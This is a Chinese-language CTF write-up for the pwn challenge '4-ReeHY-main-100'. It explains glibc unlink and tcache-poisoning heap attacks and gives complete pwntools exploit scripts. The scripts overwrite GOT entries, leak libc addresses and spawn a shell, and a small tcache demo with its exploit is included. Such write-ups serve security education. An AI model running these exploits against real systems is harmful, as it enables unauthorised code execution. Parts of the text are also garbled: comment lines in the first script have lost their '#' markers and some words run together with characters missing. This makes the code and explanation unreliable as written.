4-ReeHY-main-100_最详细题解PWN

Libc2.26以下的解法

 

使用的是double free的unlink漏洞

 

unlink是利用glibc malloc 的内存回收机制造成攻击的,核心就在于当两个free的堆块在物理上相邻时,会将他们合并,并将原来free的堆块在原来的链表中解链,加入新的链表中,但这样的合并是有条件的,向前或向后合并。

 

Unsorted bin使用双向链表维护被释放的空间,如果有一个堆块准备释放,它的物理相邻地址处如果有空闲堆块,并且空闲堆块不是TOP块,则会与相邻的堆块合并,即unlink后。相当于从双向链表里删除P,这里的关键就是

FD->bk = BK

BK->fd = FD

  1. #define unlink(P, BK, FD) { \  
  2.  FD = P->fd; \  
  3.  BK = P->bk; \  
  4.  if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \  
  5.    malloc_printerr (check_action, "corrupted double-linked list", P); \  
  6.  else { \  
  7.    FD->bk = BK; \  
  8.    BK->fd = FD; \  
  9.    ........  
  10. }  

以本题为例

4-ReeHY-main-100_最详细题解PWN_第1张图片

0x6020E0处是一个数组,用于保存4个堆的地址,当我们需要编辑时,程序从这个数组里找到对应的堆地址,去访问。假如我们有办法让这个数组里存的是其他地址(比如某些函数的GOT表地址),那么当我们编辑的时候,不就可以对GOT表修改了吗。

 

那么,我们如何做到修改这个数组的内容呢?这个数组只有在创建堆的时候,才有赋值。

4-ReeHY-main-100_最详细题解PWN_第2张图片

我们可以利用unlink,先想办法让数组里某一个堆地址指向这个数组的附近,那么我们对那个堆编辑时就是编辑这个数组附近的那个地址。

 

假如我们有一个这样的堆

Chunk0(空闲)

Prevsize=0   size=0x101

Fd =0x6020C8  BK =0x6020D0

DATA=XXXXXXXXXXXXXXXXXXXX

Chunk1(使用中)

Prevsize=0x100 size=0x100

DATA=xxxxxxxxxxxxxxxxxxxx

 

那么,当我们释放chunk1的时候,会与chunk0发生unlink

 

首先,内存管理程序检查chunk1的size=0x100,即最后的一个bit为0,说明前一个chunk处于空闲状态,那么,它会与前一个块发生合并,即从unsorted bin双向链表里删除前一个块,然后与自己合并后再加入unsorted bin

 

那么会调用unlink(prev_chunk(chunk1),NULL,NULL)

 

在unlink函数中

P = chunk0

FD=chunk0->fd = 0x6020C8

BK=chunk0->bk = 0x6020D0

 

根据chunk的数据结构(请看glibc源码分析),我们可以知道

 

FD->bk = *(FD+(8*3)) = *(0x6020E0)

BK->fd = *(BK + (8*2)) = *(0x6020E0)

 

0x6020E0就是存放4个堆地址的数组的地址

*(0x6020E0)就是数组的第一个元素,也就是堆0的地址,堆0也就是我们这里的P

这样,绕过了corrupted double-linked list检查

 

接下来

 

FD->bk = BK即*(0x6020E0) = 0x6020D0

BK->fd = FD即*(0x6020E0) = 0x6020C8

 

即数组的第1个元素被我们改成了0x6020C8,也就是相当于堆0指向了0x6020C8

4-ReeHY-main-100_最详细题解PWN_第3张图片

那么,我们编辑堆0也就是在编辑0x6020C8处,而此处的下方就是保存堆指针的数组,那么就可以构造payload来修改这个数组,这就是原理

 

通过以上分析,我们可以这样,在真正的chunk0里,构造一个假的chunk,并伪造它的状态为释放的状态。

 

要达到这个目的,就需要堆溢出,覆盖chunk1的头信息

 

 

首先,这个程序的delete功能没有检查下标为负数的情况

4-ReeHY-main-100_最详细题解PWN_第4张图片

 

经过调试,当我们delete(-2)时,释放的正好是0x6020C0处元素指向的堆(保存4个堆大小的堆)

4-ReeHY-main-100_最详细题解PWN_第5张图片

它的大小为0x14,释放后归于fastbin

当我们再次malloc(0x14)申请时,便会返回这个释放后的堆的地址(fastbin的特性,使用单向链表维护释放后的块,再次申请时最先返回最后放入的那个块,类似于栈),于是我们编辑申请的这个堆,就是编辑保存4个堆大小的堆,这个大小信息在 编辑功能时会用到,我们要先溢出堆,就需要修改大小限制

4-ReeHY-main-100_最详细题解PWN_第6张图片

我们edit申请的这个堆,构造payload,修改第一个堆的大小信息为0x200,这样我们在edit第一个堆时,就能溢出了

 

那么接下来,就是构造假的堆,来触发unlink了。

 

Chunk1的prev_size和size也是关键

#define prev_chunk(p) ((mchunkptr)( ((char*)(p)) - ((p)->prev_size) ))  

 

Chunk1的地址减去prev_size就是chunk0,还有就是size的最后1个bit为0,代表前一个块chunk0处于空闲状态

 

实际上,真正的chunk0chunk1-0x110,因为chunk0也有prev_sizesize字段,我们这里构造假的空闲chunk0’,并且chunk1prev_size0x100,让系统误以为chunk0是在chunk1-0x100处开始的,这就骗过了系统。

 

至于那个假的chunkfdbk,它的值关键,既要绕过检测,也要达到我们的目的。这里有一个公式,假如,被unlink的块P指针的地址为Paddr,那么设置fd=Paddr – 0x18,设置bk = Paddr – 0x10,根据chunk的数据结构可以很容易推出,最终导致P的指针指向了Paddr – 0x18

 

那么接下来,我们就可以修改数组里保存的4个堆指针了,让它们指向一些关键的地方。

然后再分别edit(0,xx),edit(1,xxx),edit(2,xxx),edit(3,xxxx),修改关键地方的数据。比如修改got表。最终getshell。

 

我们完整的脚本

  1. #coding:utf8  
  2. #注意glib 2.26开始,加入了tcache机制,本方案不在试用,但仍然可以利用其它方案  
  3. from pwn import *  
  4. from LibcSearcher import *  
  5.   
  6. context.log_level = 'debug'  
  7. sh = process('./4-ReeHY-main')  
  8. #elf = ELF('./4-ReeHY-main')  
  9. #libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')  
  10.   
  11. #sh = remote('111.198.29.45',54211)  
  12.   
  13. def welcome():  
  14.    sh.sendlineafter('$','seaase')  
  15.   
  16. def create(size,index,content):  
  17.    sh.sendlineafter('$','1')  
  18.    sh.sendlineafter('Input size\n',str(size))  
  19.    sh.sendlineafter('Input cun\n',str(index))  
  20.    sh.sendafter('Input content\n',content)  
  21.   
  22. def delete(index):  
  23.    sh.sendlineafter('$','2')  
  24.    sh.sendlineafter('Chose one to dele\n',str(index))  
  25.   
  26. def edit(index,content):  
  27.    sh.sendlineafter('$','3')  
  28.    sh.sendlineafter('Chose one to edit\n',str(index))  
  29.    sh.sendafter('Input the content\n',content)  
  30.   
  31. #处理开始  
  32. welcome()  
  33. #先创建两个0x100的堆(不要太大,也不要太小,这样使用unsorted bin)  
  34. create(0x100,0,'a'*0x100)  
  35. create(0x100,1,'b'*0x100)  
  36.   
  37. #delete功能没有检查下标越界,delete(-2)就是释放记录4cun大小的那个堆空间  
  38. delete(-2)  
  39.   
  40. payload = p32(0x200) + p32(0x100)  
  41. #根据堆fastbin的特性,新申请的空间位于刚刚释放的那个小内存处,将覆盖原来的那个内容,相当于qword_6020C0[0] = 0x200  
  42. #这样功能3 read的时候就可以溢出堆(本来只读取那么多,现在可以多读取0x100字节)  
  43. create(0x14,2,payload)  
  44.   
  45. #现在我们要在第一个堆里构造一个假的堆结构了  
  46. # prev_size        size 末尾的1标志前一个块不空闲  
  47. payload = p64(0) + p64(0x101)  
  48. # FD  BK分别是后一个块的指针和前一个块的指针,构成双向链表  
  49. # if (__builtin_expect (FD->bk != P || BK->fd != P, 0))  
  50. #  malloc_printerr (check_action, "corrupted double-linked list", P);  
  51. #为了绕过验证,首先  
  52. # FD = *(P + size + 0x10)  
  53. # BK = *(P - Prev_Size + 0x18)  
  54. # FD->bk = *(P + size + 0x10) - FD->Prev_Size + 0X18  
  55. # BK->fd = *(P - Prev_Size + 0x18) + BK->size + 0x10  
  56. 上面即检测双向链表的完整性  
  57. 如果通过  
  58. # unlink里的关键代码  
  59. #   FD->bk = BK;  
  60. #   BK->fd = FD;  
  61. 我们现在的目的是,利用这两个指针修改的操作,来修改我们想要的位置  
  62. 这个程序中,在0x6020E0是一个数组,用来保存着4个堆的指针  
  63. 如果我们想办法把这些堆指针改成某些函数的got表地址,那么我们下次read时,数据就会覆盖got  
  64. 因此,如果 (P + size + 0x10) = 0x6020E0 (P - Prev_Size + 0x18) = 0x6020E0  
  65. P + size = 0x6020D0P - Prev_Size = 0x6020C8  
  66. BK = 0x6020D0 FD = 0x6020C8  
  67. P->fd = 0x6020C8P->bk = 0x6020D0  
  68. 现在,主角是P,我们让第一个堆为主角  
  69. payload += p64(0x6020C8) + p64(0x6020D0)  
  70. #填充满第一个块  
  71. payload += 'a'*(0x100-4*8);  
  72. #溢出到第二个块  
  73. # prev_size   size  
  74. 对于使用中的块,它的结构是这样的  
  75. # prev_size 8 byte  
  76. # size 8 byte  
  77. #修改第二个块的Prev_Size,造成前一个块被释放的假象  
  78. payload += p64(0x100) + p64(0x100 + 2 * 8)  
  79. #发送payload,修改堆结构  
  80. edit(0,payload)  
  81. #现在我们调用delete(1)释放第二个块,它会和我们伪造的块进行unlink合并  
  82. #  
  83. #   执行  
  84. #   FD->bk = BK;  
  85. #   BK->fd = FD;  
  86. #  
  87. #   *(0x6020C8+0x18) = 0x6020D0  
  88. #     *(0x6020D0 + 0x10) = 0x6020C8  
  89. #   最终即0x6020E0 = 0x6020C8  
  90. #  这样,由于0x6020E0处是用于保存第1个堆指针的,现在被我们指向了0x6020C8处,于是我们向第1个堆输入数据都会存于这里  
  91. #触发unlink  
  92. delete(1)  
  93.   
  94. elf = ELF('./4-ReeHY-main')  
  95. free_got = elf.got['free']  
  96. puts_got = elf.got['puts']  
  97. atoi_got = elf.got['atoi']  
  98. puts_plt = elf.plt['puts']  
  99. #于是,我们可以根据结构,布局payload来覆盖0x6020E04处的几个堆的指针  
  100. payload = '\x00'*0x18   #padding  
  101. payload += p64(free_got) + p64(1)  
  102. payload += p64(puts_got) + p64(1)  
  103. payload += p64(atoi_got) + p64(1)  
  104.   
  105. #执行后,前3个堆指针都被我们指向了几个函数的got地址处  
  106. edit(0,payload)  
  107. #修改freegot地址为putsplt地址  
  108. edit(0,p64(puts_plt))  
  109. #即调用puts_plt(puts_got),泄露puts的加载地址  
  110. delete(1)  
  111. puts_addr = u64(sh.recv(6).ljust(8,'\x00'))  
  112.   
  113. print hex(puts_addr)  
  114. libc = LibcSearcher('puts',puts_addr)  
  115.   
  116. libc_base = puts_addr - libc.dump('puts')  
  117. system_addr = libc_base + libc.dump('system');  
  118. #修改atoigot地址为systemgot地址  
  119. edit(2,p64(system_addr))  
  120.   
  121. #get shell  
  122. sh.sendlineafter('$','/bin/sh')  
  123.   
  124. sh.interactive()  

 

 

 

以上解法在libc2.26以前测试成功。然而,我们的目的并不只是为了获得flag。我们要更广泛的学习。在libc2.26及以后,加入了tcache机制,使得上述方案有些改变,但是基本原理还是一样。

 

 

Libc2.26即以上的解法

Tcache是libc2.26之后引进的一种新机制,类似于fastbin一样的东西,每条链上最多可以有 7 个 chunk,free的时候当tcache满了才放入fastbin,unsorted bin,malloc的时候优先去tcache找

 

相比较double freetcache机制反而使得我们的攻击变得简单

 

Tcache使用单项链表维护。tache posioning 和 fastbin attack类似,而且限制更加少,不会检查size,直接修改 tcache 中的 fd,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。tcache机制允许,将空闲的chunk以链表的形式缓存在线程各自tcache的bin中。下一次malloc时可以优先在tcache中寻找符合的chunk并提取出来。他缺少充分的安全检查,如果有机会构造内部chunk数据结构的特殊字段,我们可以有机会获得任意想要的地址。

 

我们看看tcache关键处的源代码

  1. static __always_inline void *  
  2. tcache_get (size_t tc_idx)  
  3. {  
  4. tcache_entry *e = tcache->entries[tc_idx];  
  5.   //idx防止越界  
  6.   assert (tc_idx < TCACHE_MAX_BINS);  
  7.   //确实有块  
  8.   assert (tcache->entries[tc_idx] > 0);  
  9.   //取出第一个块  
  10.   tcache->entries[tc_idx] = e->next;  
  11.   //计数减少  
  12.   --(tcache->counts[tc_idx]);  
  13.   //key设置为null  
  14.   e->key = NULL;  
  15.   //返回chunk  
  16.   return (void *) e;  
  17. }  

 

其实就是取出单链表头结返回,然后设置新的头结点

 

假如我们写了这样的程序

  1. #include  
  2. #include  
  3. #include  
  4.   
  5. int main(int n,char **args) {  
  6.         char buf0[20] = "hello";  
  7.         char *buf1 = (char *)malloc(32);  
  8.         char *buf2 = (char *)malloc(32);  
  9.         char *buf3;  
  10.         char *buf4;  
  11.         memset(buf1,'a',32);  
  12.         memset(buf2,'b',32);  
  13.         free(buf2);  
  14.   
  15.         scanf("%s",buf1);  
  16.   
  17.         buf3 = (char *)malloc(32);  
  18.         buf4 = (char *)malloc(32);  
  19.         scanf("%s",buf4);  
  20.   
  21.         printf("%s",buf0);  
  22.   
  23.         return 0;  
  24. }  

 

Free buf2后,buf2块被放入tcache,其中,块的fd指向下一个空闲块,这里,我们只释放了一个块,如果我们再释放一个,那么buf2的fd就会指向那个块。当我们重新申请一样大小的堆时,从tcache的头取出一个块返回给用户,然后下一个空闲块成为新的头。假如我们伪造fd指向我们需要修改的地址处,那么我们再次malloc时便可以让堆指针指向那个地址处,于是我们就能修改那个地方的内容了。

上述的脚本为

  1. from pwn import *  
  2.   
  3. sh = process('./test')  
  4.   
  5. #0x7FFFFFFFE560就是我们的目标地址  
  6. payload = 'a'*32 + p64(0) + p64(0x31)  
  7. payload += p64(0x7FFFFFFFE560)  
  8.   
  9. sh.sendline(payload)  
  10.   
  11. sh.sendline('hello,hacker!\n');  
  12.   
  13. sh.interactive()  

0x7FFFFFFFE560是存放hello字符串的位置,我们通过tcache攻击,修改了该处的内容为hello,hacker!\n

后面都是同样的道理,于是本题,我们的脚本为

  1. #coding:utf8  
  2. #本方案基于tcache机制,适用于libc2.26即更高版本的环境,以下版本不适用  
  3. from pwn import *  
  4. from LibcSearcher import *  
  5.   
  6. context.log_level = 'debug'  
  7. sh = process('./4-ReeHY-main')  
  8.   
  9. #sh = remote('111.198.29.45',33297)  
  10.   
  11. def welcome():  
  12.    sh.sendlineafter('$','seaase')  
  13.   
  14. def create(size,index,content):  
  15.    sh.sendlineafter('$','1')  
  16.    sh.sendlineafter('Input size\n',str(size))  
  17.    sh.sendlineafter('Input cun\n',str(index))  
  18.    sh.sendafter('Input content\n',content)  
  19.   
  20. def delete(index):  
  21.    sh.sendlineafter('$','2')  
  22.    sh.sendlineafter('Chose one to dele\n',str(index))  
  23.   
  24. def edit(index,content):  
  25.    sh.sendlineafter('$','3')  
  26.    sh.sendlineafter('Chose one to edit\n',str(index))  
  27.    sh.sendafter('Input the content\n',content)  
  28.   
  29.   
  30. welcome()  
  31.   
  32. #开辟两个空间  
  33. create(0x40,0,'a'*0x40)  
  34. create(0x40,1,'b'*0x40)  
  35. #溢出,释放保存堆大小的数组  
  36. delete(-2)  
  37. #构造payload修改第二个堆的大小信息,只是信息,堆的大小并没有改变  
  38. payload = p32(0x80) + p32(0x40)  
  39. create(0x14,2,payload)  
  40. #删除第二个堆  
  41. delete(1)  
  42.   
  43. #构造payload覆盖第二个堆的fd指针  
  44. payload = 'a' * 0x40  
  45. payload += p64(0) + p64(0x51)  
  46. #覆盖块2fd  
  47. payload += p64(0x6020e0)  
  48. edit(0,payload)  
  49. #重新申请回来这个空间  
  50. create(0x40,1,'c'*0x40)  
  51.   
  52.   
  53. elf = ELF('./4-ReeHY-main')  
  54. free_got = elf.got['free']  
  55. puts_got = elf.got['puts']  
  56. atoi_got = elf.got['atoi']  
  57. puts_plt = elf.plt['puts']  
  58.   
  59. payload = p64(free_got) + p64(1)  
  60. payload += p64(puts_got) + p64(1)  
  61. payload += p64(atoi_got) + p64(1)  
  62. #接下来,我们申请的堆指针指向0x6020e0  
  63. #那么我们可以为所欲为了  
  64. #覆盖数组里的前三个堆指针分别为free_gotputs_gotatoi_got的地址  
  65. #于是,堆指针0指向free,堆指针1指向puts,堆指针2指向atoi  
  66. create(0x40,3,payload)  
  67. #修改freegot地址为putsplt地址  
  68. edit(0,p64(puts_plt))  
  69. #相当于puts(puts_got)  
  70. #泄露puts地址  
  71. delete(1)  
  72. #获取puts的加载地址  
  73. puts_addr = u64(sh.recv(6).ljust(8,'\x00'))  
  74. #LibcSearcher搜索数据库,查询libc版本  
  75. libc = LibcSearcher('puts',puts_addr)  
  76.   
  77. libc_base = puts_addr - libc.dump('puts')  
  78. #获取system的地址  
  79. system_addr = libc_base + libc.dump('system')  
  80. #修改atoigot地址为system的地址  
  81. edit(2,p64(system_addr))  
  82. #getshell  
  83. sh.sendlineafter('$','/bin/sh')  
  84.   
  85. sh.interactive()  

你可能感兴趣的:(pwn,二进制漏洞,CTF)